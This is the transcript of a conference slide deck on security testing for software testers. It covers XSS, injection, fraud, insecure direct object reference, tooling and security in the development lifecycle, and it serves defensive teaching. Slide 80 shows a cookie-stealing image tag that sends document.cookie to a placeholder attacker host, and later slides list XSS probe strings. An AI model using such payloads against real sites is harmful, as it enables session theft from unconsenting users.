Real World Security Testing

Testing for security is an increasingly important and visible part of software delivery. The classic formula for security testing isn’t working and security analysis tools can’t reliably find certain basic problems. Matt introduces concrete things testing teams can do to contribute to the security of a system and identifies opportunities to include more advanced manual testing of scenarios that are often overlooked. Process improvements that range from articulating security acceptance criteria to checklists are discussed. In some cases, test automation can be used to raise the security of delivered software. In all cases, the villain persona and negative testing scenarios are foundational to effective security testing. In addition to specific actionable security testing strategies, one goal of the talk will be to provide some high level context for thinking about security testing and how to integrate it into the software development lifecycle effectively. Take the security of your applications to the next level and be more confident.

Transcript

1. Real World Security Testing Matt Konda @mkonda
2. Introduction 1997 2006 2014 Consultant Engineer Software Architect Director of Engineering Rabble Rouser: Perl Java Applet C++ J2EE J2EE
 Spring Analytics Certificate Authority Vulnerability Scanner Penetration Test Manager Pricing Retail Banking Manufacturing Pharma Healthcare Research Ruby Rails Chicago BSides 2011, 2012 Defcon Skytalk OWASP Chicago, MSP 2013 AppSec USA 2012, 2013 ChicagoRuby 2013 Secure 360 Lone Star Ruby 2013 WindyCityRails 2013 Chicago JUG 2014 RailsConf 2014 Converge 2014 Chicago Coder Conference 2015 MS in CS Founder Consultant Agile Clojure Graph Database Trying to hack a business model that succeeds while helping developers. Domains: Projects: DevOps / Automation Training Coaching Code Review Plugged in to SDLC Consulting Assessments @mkonda mkonda@jemurai.com DevOps Growing
8. Why are we here?
10. You don’t want <insert your company name here/> to be on the list.
11. ARE STAKEHOLDERS ASKING FOR SECURITY?
12. In many cases, stakeholders are not in good positions to define security requirements.
13. In many cases, testing teams are in a good position to see mismatched expectations.
14. And let’s be honest.
15. We don’t know how to stop it.
16. But we know it costs
17. And might cost some people their
18. But its also because there is no other place to find these security issues.
19. Adversary?
20. Villain
22. Agenda • Intro (We just did this) • Talking about Testing • Talk about scenarios from tester perspectives • Understanding security tools (and limitations) • Building Security Into Your SDLC • Wrap up
23. Testers
24. Manual testers
27. Exploratory testing
28. http://testobsessed.com/wp-content/uploads/2011/04/testheuristicscheatsheetv1.pdf
29. http://www.jemurai.com/images/SecurityTestingCheatSheet.pdf
30. Villain
32. The takeaway is people trained and manually looking for specific things is powerful.
43. Now take automated testing and developer testing.
44. The tools make it easier to get better coverage for certain things.
46. We still see mostly happy path testing.
47. The challenge is the same: education and time
48. So given both: Manual testing Automated testing
49. Let’s step back and think of two specific cases…
50. 1. Injection 2. Fraud
51. Injection • Attacker supplies unexpected input that gets executed at some point. • Can result in system commands running, data being dumped, and code running in places it shouldn’t.
52. Injection • Can often be detected by looking at code. • Can also be detected by testing different inputs and seeing what happens in relatively predictable ways. • In short, tools (both security and test automation) can often find this.
53. Fraud
54. Fraud • Of course there are many many different paths through which fraud can take place. • Consider: An attacker uses someone else’s account info that was leaked in a public breach to make a transaction and send the purchase to a new address.
55. Fraud • In very few cases can fraud be detected by security tools. At least not without big custom implementation work. (Machine learning + behavioral analysis) • A tester could try adding a purchase to a new shipping address and verify that the application prompts for the user’s credit card. (What Amazon does)
56. The interesting thing to think about here is: who is better situated to see fraud use cases than testers?
58. Villain
59. These are just brief examples to illustrate a point.
60. Next we’ll go deeper.
61. Scenarios
62. Cross Site Scripting (XSS)
64. XSS is code injection
65. Malicious user input gets treated like code by the browser.
66. Comes in different flavors
67. Reflected XSS • User input is displayed back to the logged in user. • A classic example is a search box. • You search for XYZ but we couldn’t find it. OR • Here are your results for XYZ
68. Demo with simple Node.js handlebars application.
69. Persistent XSS • User input is saved for later in a DB or storage. • When later shown it is treated like code.
70. The correct way to prevent XSS is to ensure all output is ENCODED.
71. Output Encoding < &lt; > &gt;
72. What is encoding? <script>alert(‘hi’);</script> Becomes: &lt;script&gt;alert(‘hi’);&lt;/script&gt; It is the difference between rendering and evaluating.
73. You might ask about input validation...
74. It can help, but with data coming from many different places the correct way to prevent XSS is with output encoding.
75. Why do we care?
77. XSS targets our users AND potentially bypasses network controls.
78. It also renders other protections useless, including CSRF and SSL.
79. It can also result in session leakage.
80. <img src=”http://badguy.com/harvester/? cookie=”+ document.cookie />
81. And phishing… http://ow.ly/QuCEv
82. So let’s just assume you want to eradicate XSS.
83. Manual testing strategies • Test in Firefox. • Try adding different scripts to form inputs: • <script>alert(3)</script> • <img src=”x” onerror=”alert(4)”/> • <svg/onload=alert(5)</svg>
84. Manual testing strategies • Still testing in Firefox. • See if you can manipulate the DOM and break CODE with user input: • “/><img src=x onerror=”alert(4)”;/> • '';!--"=&{()}
85. Manual testing strategies • Read code... • In js: • {{{ • innerHtml • In Rails: • .raw • .html_safe
86. Automated testing strategies • We use tools to help us find these. • Developer tools. • Burp.
87. Demo using js and webdriver.
88. http://localhost:3001/?search=<script>alert(1)</
90. What do we really expect?
91. Incremental improvement where possible.
92. At a minimum, testing fields manually for obvious XSS patterns.
93. Villain
95. Authorization
96. Insecure Direct Object Reference
97. Insecure Direct Object Reference • Enumerate and access resources that are not referenced by the application or intended to be accessible to the user Dennis Jim Salary Record Salary Record ?
98. Insecure Direct Object Reference • In many apps, it is often easy to predict URL patterns. (Because of REST) • It is also extremely easy to REPLAY or resend a request that has been tampered with. • Therefore, it is always important to check that the logged in user has permissions to perform the action requested.
99. Insecure Direct Object Reference • If you’re like me, you might be doing this: • Listing methods • Delete methods • Update methods • Business Operation Methods
100. Instance Based Security
101. Insecure Direct Object Reference • Typically requires custom logic to implement rules. • Beware of the product that says it can find this automatically!
102. DEMO cucumber --name "person is restricted from accessing project they do not own"
103. Given(/^a new project created by a user$/) do uuid = SecureRandom.uuid @user1 = "fb_user_1_#{uuid}@jemurai.com" register_as_user(@user1, "password") new_project("Insecure Direct Object Reference #{uuid}", "Forceful Browsing Desc") @url = current_url end When(/^a different person attempts to access the project$/) do logout(@user1) uuid = SecureRandom.uuid @user2 = "fb_user_2_#{uuid}@jemurai.com" register_as_user(@user2, "password") end Then(/^the system should prevent access$/) do visit @url expect(page).not_to have_content "Forceful Browsing Desc" end
104. Function level access control
105. Example: Can a regular user perform admin functions?
106. Example: Can a regular timesheet user approve timesheets?
107. Testing authorization requires knowledge of application and business logic.
108. Authorization is a great example of a place where testing can provide HUGE benefits.
109. Villain
111. Note that when I say this I mean both MANUAL and AUTOMATED.
112. Security Tools
113. Static Analysis
114. Dynamic Analysis
115. App / Network Scanning
117. Speaking of tools…
120. B+ C B+ F D D F B A- C The items on the left are the OWASP Top 10. The grades are mine and are arbitrary. https://www.owasp.org/index.php/Top_10_2013-Top_10
121. EVIL False Positives Are a Necessary
124. Security in the SDLC
125. Lots of security issues exist because of process and our prioritization.
126. Security in the SDLC • Building software is a process. • The best way to make software secure is to make security part of the process. • There are many ways to do this - none is perfect. • Find a way to make the security fit your process.
127. Requirements Design Code Test Maintenance Classic Waterfall Delivery
128. Requirements Design Code Test Maintenance Classic Waterfall Delivery Security
130. Story Continuous Delivery: The Unit of work is a story Requirements Design Code Test
131. Story Continuous Delivery: The Unit of Work is a Story Requirements Design Code Test Security Requirements Security Unit Tests Exploratory Testing Static Analysis on Commit Code Review Threat model / attack surface Checklists Understand Dependencies
132. continuous delivery
133. Classic security sees this and wants to …
134. continuous delivery
135. Jenkins
146. Villain
148. Baseline Security Requirements
149. Story Points
150. Estimates to Include Security Considerations
151. Here’s why:
152. Agile metrics Credit: rallydev.com
153. Story Review
154. Incremental Code Review
155. Continuous Integration
156. Checklists
161. Agile metrics Credit: rallydev.com
162. Testing
164. Spend time on scenarios for negative testing
165. If you like all this stuff, maybe you should be a security champion
166. Standup
167. Architecture review
168. Operationalize
171. DevOps
172. DevOps Stats •High performers •2x success rate. •12x faster MTTR. •30x more deployments •8000x faster lead times •2x more like to exceed profitability, market share, productivity goals •50% market cap growth
173. Automation
174. Credit: Matt Tesauro at AppSecEU 2015 http://www.slideshare.net/mtesauro/mtesauro-keynote-appseceu
175. Wrap Up
176. Agenda • Intro • Talking about Testing • Talk about scenarios from tester perspectives • Understanding security tools (and limitations) • Building Security Into Your SDLC • Wrap up (We’re doing this)
177. Takeaways • Channel a villain • Ask security questions in requirements • Test for XSS, Injection, Authorization • Leverage automation where possible • Know some of the limits of security tools • Visit owasp.org to find more resources!
178. Villain
180. Thank you.